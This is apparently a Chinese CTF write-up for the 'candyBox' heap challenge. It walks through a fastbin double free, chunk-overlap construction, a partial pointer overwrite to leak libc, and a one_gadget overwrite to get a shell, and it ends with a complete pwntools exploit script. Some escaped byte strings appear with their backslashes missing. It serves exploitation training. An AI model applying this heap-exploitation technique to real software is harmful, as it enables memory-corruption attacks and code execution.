2020省赛决赛

candyBox

题目附件

查看程序开的保护

got表是可以改写。

程序是比较简短的,只有create和del两个函数。值得注意的是它分配出的chunk结果比较独特,如下

在1号位上放info或存放info的chunk的地址,这个取决于输入的info的长度。2号位上存放的是输入info的长度,3号位上存放的是freeLittle或freeBig的地址。

这题的关键是泄漏libc的地址。下面分析泄漏方法。

先分配几个chunk,为下面的构造做准备

    Add(0x8, 'x00'*0x8)
    Add(0x8, 'x00'*0x8)
    Add(0x9, 'A'*8 + 'x31') #2
    Add(0x9, 'A'*8 + 'x31') #3
    Add(0x9, 'A'*8 + 'x31') #4
    Add(0x9, 'A'*8 + 'x31') #5
    Add(0x9, 'A'*8 + 'x31') #6
    Add(0x9, 'A'*8 + 'x31') #7
    Add(0x9, 'A'*8 + 'x31') #8

因为2号位的存放的info的长度会影响接下来的构造,所以先把他们清零

    Delete(2)
    Add(0x8, 'x00'*8)
    Delete(4)
    Add(0x8, 'x00'*8)

double free修改chunk size构造overlap

    Delete(0)
    Delete(1)
    Delete(0)

    # 修改chunk size
    Add(0x2, 'x70x00')
    Add(0x8, 'x00'*8)
    gdb.attach(p, 'b * $rebase(0x10e0)
c')
    Add(0x1a, 'A'*0x18 + 'xc1x00')

接下来修改3号位的地址为puts的地址,这里需要爆破倒数第四个十六进制位的值。修改后调用free函数就可以泄漏数据了。

    Delete(0)
    Delete(1)
    Delete(0)
    Add(0x2, 'xd0x00')
    Add(0x8, 'x00'*8)
    Add(0x8, 'x00'*8)
    Add(0x8, 'x00'*8)

    try:
        Add(0xb, 'A'*8 + 'x60x49x00')

        Delete(3)

        Add(0x8, 'x00'*8)

        # leak libc address
        Delete(4)
        libc_base = u64(p.recvuntil('x7fx0a')[-7:-1] + b'x00x00') - 0x3c4b78
        libc.address = libc_base
        info("libc_base ==> " + hex(libc_base))
    except:
        p.close()
        return 0

之后在此修改3号位的值为one_gadet就可getshell

完整exp如下:

#!/usr/bin/python3
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
global p
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def Add(size, content):
    p.sendlineafter('Remove a candy:', '1')
    p.sendlineafter('Size: ', str(size))
    p.sendafter('Taste: ', content)

def Delete(index):
    p.sendlineafter('Remove a candy:', '2')
    p.sendlineafter('id:', str(index))
    p.sendlineafter('serious?', 'yes')

def pwn():
    global p
    p = process('./candyBox')

    Add(0x8, 'x00'*0x8)
    Add(0x8, 'x00'*0x8)
    Add(0x9, 'A'*8 + 'x31') #2
    Add(0x9, 'A'*8 + 'x31') #3
    Add(0x9, 'A'*8 + 'x31') #4
    Add(0x9, 'A'*8 + 'x31') #5
    Add(0x9, 'A'*8 + 'x31') #6
    Add(0x9, 'A'*8 + 'x31') #7
    Add(0x9, 'A'*8 + 'x31') #8

    Delete(2)
    Add(0x8, 'x00'*8)
    Delete(4)
    Add(0x8, 'x00'*8)

    Delete(0)
    Delete(1)
    Delete(0)

    # 修改chunk size
    Add(0x2, 'x70x00')
    Add(0x8, 'x00'*8)
    gdb.attach(p, 'b * $rebase(0x10e0)
c')
    Add(0x1a, 'A'*0x18 + 'xc1x00')

    Delete(0)
    Delete(1)
    Delete(0)
    Add(0x2, 'xd0x00')
    Add(0x8, 'x00'*8)
    Add(0x8, 'x00'*8)
    Add(0x8, 'x00'*8)

    try:
        Add(0xb, 'A'*8 + 'x60x49x00')

        Delete(3)

        Add(0x8, 'x00'*8)

        # leak libc address
        Delete(4)
        libc_base = u64(p.recvuntil('x7fx0a')[-7:-1] + b'x00x00') - 0x3c4b78
        libc.address = libc_base
        info("libc_base ==> " + hex(libc_base))
    except:
        p.close()
        return 0

    one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]

    Delete(0)
    Add(0x20, b'A'*0x18 + p64(one_gadget[1] + libc_base))
    Delete(4)
    p.interactive()
    p.close()
    return 1

if __name__ == '__main__':
    while True:
        a = pwn()
        if a:
            break
原文地址:https://www.cnblogs.com/countfatcode/p/13899016.html